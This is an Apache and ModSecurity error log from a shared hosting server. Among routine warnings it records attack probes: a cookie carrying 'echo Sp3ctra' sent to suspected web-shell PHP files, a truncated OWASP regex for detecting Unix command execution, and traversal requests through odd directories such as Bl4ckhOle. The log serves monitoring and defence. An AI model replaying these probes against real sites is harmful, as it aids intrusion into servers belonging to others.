[Fri Jul 17 09:19:56.185769 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "v-deploy.com"] [uri "/index.php"] [unique_id "almmYfwooI4qY7Jg93pZ5gAAABM"]
[Fri Jul 17 09:19:56.193833 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:56.263531 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:56.494917 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:56.758337 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:57.036226 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:57.040988 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:47318] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:57.088983 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:57.104119 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:57.605725 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:58.009988 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:58.605884 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:47452] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:58.616118 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:58.756734 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:58.817658 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:58.966987 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:47496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:59.119863 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:59.322946 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:59.759002 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:59.929691 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:00.158179 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:47972] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:00.233180 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:00.436411 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:00.740535 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:00.841383 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:00.943248 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:01.346247 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/physical_node/driver/uevent
[Fri Jul 17 09:20:02.161766 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS3/device/driver/unbind
[Fri Jul 17 09:20:02.489503 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:35988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:02.576724 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:35994] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:03.468723 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:03.697815 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:03.892089 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:04.453504 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:36128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:04.601623 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/19-0/instance
[Fri Jul 17 09:20:04.806458 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:05.741109 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:06.824459 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:36244] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:06.828057 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:36256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:06.835009 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.40:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory14/node0/memory126/node0/cpu1/crash_notes_size
[Fri Jul 17 09:20:07.562840 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:36270] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:07.977695 2026] [security2:error] [pid 1993619:tid 1993619] [client 81.167.26.57:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almmb41dLClkUfK_dfHpKwAAAAI"]
[Fri Jul 17 09:20:07.977736 2026] [security2:error] [pid 1993619:tid 1993619] [client 81.167.26.57:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almmb41dLClkUfK_dfHpKwAAAAI"]
[Fri Jul 17 09:20:08.214696 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:36308] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:09.472201 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:36362] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:13.276601 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:35926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:14.141877 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:15.481906 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/LNXCPU:03/eject
[Fri Jul 17 09:20:15.589950 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:15.694673 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty1/subsystem/ttyS2/flags
[Fri Jul 17 09:20:16.199492 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:36090] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:16.293456 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:16.413044 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:16.443753 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:36100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:16.444945 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:36110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:16.927378 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:17.013106 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:17.224863 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:17.552617 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:17.657359 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:17.736528 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:17.827266 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:18.230917 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:18.333782 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:18.433927 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:14/eject
[Fri Jul 17 09:20:18.434329 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:14/eject"] [unique_id "almmeujME1mgqYZ5O94qkQAAAAE"]
[Fri Jul 17 09:20:18.434350 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:14/eject"] [unique_id "almmeujME1mgqYZ5O94qkQAAAAE"]
[Fri Jul 17 09:20:18.536339 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:18.635856 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:19.039026 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:19.064873 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:19.234945 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:36240] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:19.620178 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:36270] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:19.762076 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:19.967810 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:20.266283 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:20.368632 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:20.726894 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:20.730137 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:20:20.831717 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:21.115445 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:21.521240 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:21.621711 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:21.928769 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:22.343714 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:52408] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:22.553063 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:22.622843 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:52430] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:22.984014 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:52462] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:23.078161 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:23.273777 2026] [core:error] [pid 2030774:tid 2030774] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/route
[Fri Jul 17 09:20:23.375793 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:23.478142 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:23.586856 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:23.686842 2026] [core:error] [pid 2036488:tid 2036488] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/udplite
[Fri Jul 17 09:20:23.805171 2026] [core:error] [pid 2029866:tid 2029866] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/icmp
[Fri Jul 17 09:20:23.915736 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:23.983165 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.165.10.194:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "kamecho.lk"] [uri "/"] [unique_id "almmfxHlOGcokz2QIwTXugAAAAM"]
[Fri Jul 17 09:20:23.983514 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.165.10.194:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "kamecho.lk"] [uri "/"] [unique_id "almmfxHlOGcokz2QIwTXugAAAAM"]
[Fri Jul 17 09:20:23.985396 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.165.10.194:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "kamecho.lk"] [uri "/"] [unique_id "almmfxHlOGcokz2QIwTXugAAAAM"]
[Fri Jul 17 09:20:24.018462 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:24.019902 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXPWRBN:00/input/input0/device/subsystem/"] [unique_id "almmgOjME1mgqYZ5O94qmQAAAAE"]
[Fri Jul 17 09:20:24.019943 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXPWRBN:00/input/input0/device/subsystem/"] [unique_id "almmgOjME1mgqYZ5O94qmQAAAAE"]
[Fri Jul 17 09:20:24.136763 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:24.257755 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:52496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:24.449481 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:24.561619 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:24.668343 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:24.776288 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:24.882262 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:24.981650 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:25.082940 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:25.182272 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:25.386685 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:25.493899 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:25.593360 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:25.611017 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:25.674555 2026] [ssl:error] [pid 2018768:tid 2018768] (5)Input/output error: [client 66.85.158.91:52578] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:26.183862 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:52606] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:27.423481 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:20:27.431024 2026] [security2:error] [pid 2031172:tid 2031172] [client 57.141.18.115:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory63/node0/memory109/node0/memory65/subsystem/devices/memory7/"] [unique_id "almmg-jME1mgqYZ5O94qnQAAAAE"]
[Fri Jul 17 09:20:27.431077 2026] [security2:error] [pid 2031172:tid 2031172] [client 57.141.18.115:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory63/node0/memory109/node0/memory65/subsystem/devices/memory7/"] [unique_id "almmg-jME1mgqYZ5O94qnQAAAAE"]
[Fri Jul 17 09:20:29.636781 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:52756] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:30.716321 2026] [security2:error] [pid 2034024:tid 2034024] [client 185.242.3.234:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "weeratrading.com"] [uri "/wp-plain.php"] [unique_id "almmho-0g_VSPeIeFN3E7QAAAAs"], referer: www.google.com
[Fri Jul 17 09:20:30.716392 2026] [security2:error] [pid 2034024:tid 2034024] [client 185.242.3.234:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "weeratrading.com"] [uri "/wp-plain.php"] [unique_id "almmho-0g_VSPeIeFN3E7QAAAAs"], referer: www.google.com
[Fri Jul 17 09:20:30.718845 2026] [security2:error] [pid 2034024:tid 2034024] [client 185.242.3.234:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/wp-plain.php"] [unique_id "almmho-0g_VSPeIeFN3E7QAAAAs"], referer: www.google.com
[Fri Jul 17 09:20:31.094877 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 47.82.14.98:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/class/leds/input1::scrolllock/device/device/subsystem/uevent
[Fri Jul 17 09:20:33.379905 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 185.242.3.234:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Fri Jul 17 09:20:33.380404 2026] [security2:error] [pid 2034024:tid 2034024] [client 185.242.3.234:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/wp-plain.php"] [unique_id "almmho-0g_VSPeIeFN3E7QAAAAs"], referer: www.google.com
[Fri Jul 17 09:20:33.639540 2026] [security2:error] [pid 2039911:tid 2039911] [client 185.242.3.234:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "weeratrading.com"] [uri "/rszxrpzb.php"] [unique_id "almmiZBVIrrUwtEhdafVhgAAAAU"], referer: www.google.com
[Fri Jul 17 09:20:33.640661 2026] [security2:error] [pid 2039911:tid 2039911] [client 185.242.3.234:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/rszxrpzb.php"] [unique_id "almmiZBVIrrUwtEhdafVhgAAAAU"], referer: www.google.com
[Fri Jul 17 09:20:34.451611 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:58618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:20:34.659433 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 185.242.3.234:0] AH01071: Got error 'Primary script unknown', referer: www.google.com
